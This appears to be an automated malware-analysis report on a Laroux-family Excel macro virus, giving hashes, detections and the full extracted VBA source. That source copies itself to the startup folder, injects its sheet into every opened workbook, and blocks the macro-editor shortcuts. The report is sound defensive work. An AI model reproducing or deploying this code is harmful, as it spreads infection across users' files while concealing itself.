Doc.Macro.Laroux-5893719-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 747d0643c6be3218…

MALICIOUS

Office (OLE)

31.5 KB Created: 2006-10-18 00:31:38 Authoring application: Microsoft Excel First seen: 2015-10-03
MD5: dab48e5adf50b2b0d6e42064653ba3a0 SHA-1: 21fce4f779846d2ada7900cfd9f609c71d157dd8 SHA-256: 747d0643c6be321890016909f0cd29c30ffa8c4dd825ec682601dff1900cbce3
88 Risk Score

Malware Insights

Doc.Macro.Laroux-5893719-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Excel document containing VBA macros. The auto_open macro attempts to copy itself to the Excel startup folder as 'StartUp.xls' to achieve persistence. It also sets up event handlers to maintain its presence. The ClamAV detection name 'Doc.Macro.Laroux-5893719-0' suggests a known macro-based malware family.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1540 bytes
SHA-256: 14ff5610746ffcf101f5c20a931f909a36884002321fcb2f274fc2d1e7d36b4c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = "z\n14"
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True